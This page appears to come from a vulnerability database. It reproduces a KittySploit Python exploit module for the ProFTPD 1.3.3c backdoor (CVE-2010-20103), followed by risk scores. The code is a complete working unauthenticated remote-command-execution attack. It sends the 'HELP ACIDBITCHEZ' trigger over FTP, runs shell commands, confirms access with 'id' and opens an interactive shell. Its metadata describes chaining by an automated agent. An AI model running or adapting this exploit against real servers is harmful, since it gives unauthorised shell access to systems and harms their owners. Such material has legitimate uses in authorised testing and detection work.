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ProFTPD - Compromised Package Backdoor RCE (CVE-2010-20103)

🗓️ 10 Aug 2026 06:19:08Reported by KittySploitType 
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Unauthenticated RCE in ProFTPD via a compromised package backdoor.

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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ProFTPD 1.3.3c backdoor RCE (CVE-2010-20103)."""

import re
import socket

from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client
from lib.exploit.handler import Handler


class Module(Exploit, Tcp_scanner_client, Handler):
    __info__ = {
        'name': 'ProFTPD - Compromised Package Backdoor RCE (CVE-2010-20103)',
        'description': (
            'Exploits CVE-2010-20103 by triggering HELP ACIDBITCHEZ then executing '
            'shell commands over the FTP session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2010-20103'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2010-20103'],
        'tags': ['proftpd', 'ftp', 'backdoor', 'rce', 'unauth', 'cve-2010-20103'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/tcp/cve_2010_20103_detect'],
            },
        },
    }

    port = OptPort(21, 'FTP port', True)

    def execute(self, cmd: str) -> str:
        host = self._host()
        port = self._port()
        if not host:
            return ''
        safe = str(cmd).replace('\r', '').replace('\n', ';')
        try:
            sock = socket.create_connection((host, port), timeout=self._timeout())
            sock.settimeout(self._timeout())
            sock.recv(256)
            sock.sendall(b'HELP ACIDBITCHEZ\r\n')
            sock.recv(512)
            sock.sendall((safe + ';\r\n').encode())
            chunks = []
            while True:
                try:
                    chunk = sock.recv(4096)
                except socket.timeout:
                    break
                if not chunk:
                    break
                chunks.append(chunk)
            sock.close()
            return b''.join(chunks).decode('latin-1', errors='replace')
        except Exception:
            return ''

    def handler_execute(self):
        out = self.execute('id')
        if not out or not re.search(r'uid=\d+', out):
            print_error('Target does not appear vulnerable to CVE-2010-20103')
            return False
        print_success('ProFTPD backdoor confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()

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10 Aug 2026 06:19Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
CVSS 49.3
EPSS0.13661
SSVC
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